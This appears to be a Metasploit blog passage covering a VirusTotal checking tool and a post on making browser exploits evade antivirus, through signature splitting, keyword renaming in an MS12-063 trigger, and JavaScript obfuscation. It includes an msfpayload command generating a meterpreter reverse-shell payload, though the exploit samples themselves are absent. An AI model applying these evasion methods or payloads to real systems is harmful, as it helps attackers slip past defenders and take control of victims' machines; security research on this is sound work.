tools/virustotal.rb -k [API KEY] -f [FILENAME]


Note that after specifying your own key once, you won't have to do it again because that information will be stored in Metasploit's config file at ~/.msf4/config. So that means next time your command will no longer need the -k option:


tools/virustotal.rb -f [FILENAME]


If you prefer to do a quick hash search to grab the report instead of uploading the malware sample, then you can use the -q option. Please note since the -q option doesn't actually upload the malware, not finding a report doesn't necessarily mean the malware is actually undetectable:


tools/virustotal.rb -q -f [FILENAME]


An example of your analysis report should look like this:


Screen Shot 2014-01-10 at 1.59.56 AM.png



The check_malware.rb Post Module


The post module version functions differently than the standalone one. Instead of uploading the sample to VirusTotal, the module will only submit the checksum and grab the report. It also uses the same default API key, and you can set your own.


There are two datastore options in this module: The APIKEY allows you to use your own key. The REMOTEFILE option is the file you wish to check on the target machine. Here's an example of how to use it:


Screen Shot 2014-01-10 at 2.06.45 AM.png


And that's all you need to know about our new features from VirusTotal. If you're new to Metasploit, you can download a copy of it for either Linux or Windows. If you are already a Metasploit user, you should receive these new toys by running the msfupdate command. Enjoy!

This post is the twelfth, and last, in a series, 12 Days of HaXmas, where we take a look at some of the more notable advancements in the Metasploit Framework over the course of 2013.

tom_jerry.pngIn the final episode of 12 Days of HaXmas, we'll talk about the holy war between browser exploits vs antivirus. It will sound a little biased from time to time, but note that It is not meant to compare who is better -- I don't have the resources to compare the entire matrix of AV solutions, only what's easily accessible by the average population. So, please don't read this like it's a full-blown, multi-million dollar research paper. It's just a blog. I can only discuss this from my own perspective - that is, me as an open source hacking tool provider, and my audience as the users - enjoy!


Antivirus evasion is always a cat and mouse game, there is no argument about that. Whatever you do as an attacker, the talented engineers and researchers on the defense side will eventually solve the problems. And then you come up with something new, and the fight goes on until one of us retires. Take Metasploit for example, we offer several features that can be used (or are used) to bypass AV, and this is what's currently happening:


Apache Template used by Windows meterpreter

Heavily flagged by most AV.

msfencodeDecoding stub can be flagged by most AV.
Encode more?Popular AVs should still be able to flag it.
Custom template + encode more??Popular AVs should still be able to flag it.
ObfuscateJSIneffective against some AVs.
JSObfuIneffective against some AVs.
Specific exploit writing styleUndetected for a few days, but good luck keeping it that way.
Other commercial-level AV evasion technologiesNot covered in this blog.
Whatever evasion techniques you've made publicAV will most likely flag them.


fight_club.pngDoes it look kind of depressing? Yes. However, a wise man once said "if you know your enemies and know yourself, you will not be imperiled in a hundred battles; if you do not know your enemies but do know yourself, you will win one and lose one; if you do not know your enemies nor yourself, you will be imperiled in every single battle." So as an attacker, it's rather important to understand your own strength. You probably also just noticed I said "evasion techniques you've made PUBLIC," because the truth is, attacks should be made to be felt, not seen (my Yoda moment). And this also brings up the "secret" rule about Fight Club: "The first rule of Fight Club is you do NOT talk about Fight Club." You see, my man Tyler Durden just schooled you about cyber wars.


But hey, we are Metasploit, so it's our job to keep everything as frank and open as possible. We are the opposite of Fight Club.


Let There be Light


Despite all the wonderful countermeasures AVs offer, they are still made by humans. What tends to happen is that AVs will only do just enough to make sure a malicious code is detectable. I can't speak for ALL antivirus out there (again, time and resources), but generally speaking these tend to be the places AVs look for in a browser exploit because they're commonly seen, and I'll try to briefly explain each:


  • Heap spray routine
  • Trigger for the vulnerability
  • Payload


Heap Spray That Gets Flagged


Often browser exploits take advantage of some sort of memory corruption, for example: a heap-based overflow, or a use-after-free. And the "heap-spray" exploitation technique is used to prepare a specific memory layout to place the payload at a predicable place, and/or used to leverage an information leak that allows the exploit to read something in memory. There are plenty of ways a heap spray can be done: with images, with Javascript, ActionScript, or whatever. As long as something allocates memory on the heap (with user-controlled size and data), it is a good candidate for heap spraying. A typical spray looks something like this:



For a quick demonstration, I saved the above Javascript as "i_am_harmless.html", and then uploaded to VirusTotal. See results:




So I got flagged, ain't no thing. What actually gets flagged in the code is kind of product-specific, but I'll pick Avast as an example because this is a pretty popular product. To find the specific lines that get flagged, we can use the "dsplit" technique. Basically this is a tool that splits data into chunks, and then you let the AV scan these chunks to identify which ones get flagged, whatever gets flagged is where the AV signature looks for, and that's what you should modify. You can use the same concept to find signatures for browser exploits.


For Avast (and apparently, McAfee picks this up too), it specifically looks for the following code in the above Javascript - results here:




How difficult is it to make two lines undetectable, right?:




As of now, the above code will not be flagged by AVs, results can be found here. It's a very basic example on how exploits can bypass AVs, but should be enough to make a point. However, not all memory corruption based exploits need heap spraying. In the case of a use-after-free, if you have precise control of the memory release, the invalid use, you don't have to spray... well, at least no more than 18+1 times: 18 consecutive times to make sure a specific allocation size is enabled, the +1 to actually overwrite the freed memory right after that happens. Stuff like this is still pretty hard to detect, here's an example (i_am_kinda_harmless.html):




The above code would look malicious in the eyes of an exploit developer, but not for an antivirus:




In case you're wondering why this would be malicious, it's because:


  • In function lfh(), the image object creates a specific size on the heap, and then the appendChild() calls in the loop will keep these allocations.
  • In function overwrite(), when you assign something to the className property, you also trigger a heap allocation. If you're really curious, you can read this tutorial about "DOM Element Property Spray" by Peter Van Eeckhoutte, same idea (and callstack, even).
  • When you put these routines in the right order (see main() function), the malicious intend stands out. It's pretty difficult for AVs to catch this behavior, so you'd kind of have to hope they catch something else in the code, like the trigger.


Trigger That Gets Flagged


A "trigger" is code that triggers the vulnerability, which implies triggers are bug-specific. There are a few ways your trigger wouldn't be detected:


  • It's an 0day, there is no perfect and universal solution to find them all.
  • There is more than one way to trigger the bug. For example: use-after-frees are commonly triggered by one or more event handlers, sometimes one is flagged but you still have other options available. Same with how you create an object, how you free, etc.
  • Obfuscation.
  • Modify a few keywords, and then you're done. This is so ridiculously easy, I'll use this one as an example.


The following code is part of MS12-063 (execCommand use-after-free). Originally I was testing against G DATA, and at the time (almost a year ago) this is what it was flagging for the exploit:



However, G DATA actually wasn't the only one flagging this code. Others like Ad-Aware, BitDefender, Emsisoft, F-Secure, MicroWorld-eScan, nProtect also flagged it as an exploit:




Are you ready to know how to bypass this? Here's how:




And nobody picks it up again:




Payload That Gets Flagged


One thing you should know about browser exploit payloads getting flagged is that, well, most of the time they're not flagged :-) So this makes things a lot easier for us. Metasploit browser exploits are already using payloads that are encoded with x86/shikata_ga_nai in Javascript format (little endian), which is the equivalent of the following command:


msfpayload windows/meterpreter/reverse_tcp lhost=[IP] lport=[PORT] R |msfencode -t js_le


When I uploaded the Javascript-based payload to VirusTotal, only two picked it up:



It's pretty easy to get around these two with the Rex::Exploitation::JSObfu API in Metasploit. The lazy me did something like this during the experiment:


msf > irb
[*] Starting IRB shell...

>> js.obfuscate
>> puts js
... The obfuscated output will be generated ...


And the obfuscated version bypassed both of them (Microsoft and Norman):




There's a little bit more to how AVs detect browser exploits. Another thing we haven't covered is the use of browser extensions to detect malicious pages at real time. There are also ways around them, but perhaps we'll share that experience with you next time. The moral of the story is that as you can see, AV evasion is a never-ending game. If your'e the user type, personally my take is it never hurts to learn how to code a little bit in your spare time, and modify a few lines of code in the exploit to get things smoothly when the time comes. And I promise you, it will come. After all, a tool is only as good as the skills of the craftsman/woman using it. If you are the developer type, now that you're more knowledgable about this cat and mouse game than ever, it is up to you to decide which side you want to contribute (offensive or defensive), and make the world a little better.

Filter Blog

By date: By tag: